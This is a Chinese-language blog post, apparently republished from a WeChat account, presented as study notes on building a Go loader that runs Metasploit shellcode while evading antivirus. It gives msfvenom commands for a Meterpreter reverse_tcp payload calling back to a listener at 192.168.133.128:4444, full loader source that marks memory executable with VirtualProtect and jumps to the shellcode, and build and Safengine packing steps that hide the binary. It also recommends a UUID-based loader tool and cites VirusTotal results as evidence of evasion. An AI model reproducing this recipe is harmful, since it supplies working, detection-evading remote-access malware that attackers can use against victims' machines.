Go编写loader加载shellcode免杀学习

admin 2022年4月11日21:01:08评论139 views字数 2243阅读7分28秒阅读模式

一 简单实现

(1)msf生成shellcode,选择输出hex格式。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f hex

Go编写loader加载shellcode免杀学习

(2)使用Go编写loader代码。

package main
import ( "encoding/hex" "fmt" "os" "syscall" "unsafe")
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api//保护内存函数 去掉特征func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址 uintptr,uint32 t, _, _ := procVirtualProtect.Call( uintptr(a), uintptr(b), uintptr(c), uintptr(d)) fmt.Print(t)}func Run(sc []byte) { //定义函数 f := func() {} var old uint32 //一级指针的值为f的地址 //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行 VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old)) //将shellcode 放入函数中 &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址 **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) var orgshellcode uint32 //shellcode地址 VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode)) f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址}func main() { //解密 x, _ := hex.DecodeString(os.Args[1]) Run(x)}

(3)编译exe。

go build -ldflags "-s -w -H=windowsgui" 1.go

Go编写loader加载shellcode免杀学习

(4)然后使用Safengine进行加壳。

Go编写loader加载shellcode免杀学习

(5)使用生成好的1_se.exe,加上shellcode,msf监听,主机成功上线。

Go编写loader加载shellcode免杀学习

(6)本机测试免杀效果。

Go编写loader加载shellcode免杀学习

二 工具推荐

工具地址:

https://github.com/crisprss/Shellcode_Memory_Loader

基于Golang实现的Shellcode内存加载器,共实现3种内存加载shellcode方式,UUID加载,MAC加载和IPv4加载

结合binject/universal实现Golang的内存加载DLL方式,使用AllocADsMem实现内存申请,以加强免杀效果


在这里演示UUID加载这一方法:

(1)msf生成shellcode,填充到shellcode_2_uuid.py。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.133.128 lport=4444 -f py

Go编写loader加载shellcode免杀学习

(2)运行后得到转化的UUID,填充到对应的uuid_2_bin.go中:

Go编写loader加载shellcode免杀学习

Go编写loader加载shellcode免杀学习

(3)编译得到对应的可执行文件即可

go build uuid_2_bin.go

Go编写loader加载shellcode免杀学习

(4)点击exe文件,主机成功上线。

Go编写loader加载shellcode免杀学习

(5)virustotal查杀结果。

Go编写loader加载shellcode免杀学习

三 参考文章

https://cloud.tencent.com/developer/article/1901720

原文始发于微信公众号(Reset安全):Go编写loader加载shellcode免杀学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月11日21:01:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Go编写loader加载shellcode免杀学习http://cn-sec.com/archives/899138.html

发表评论

匿名网友 填写信息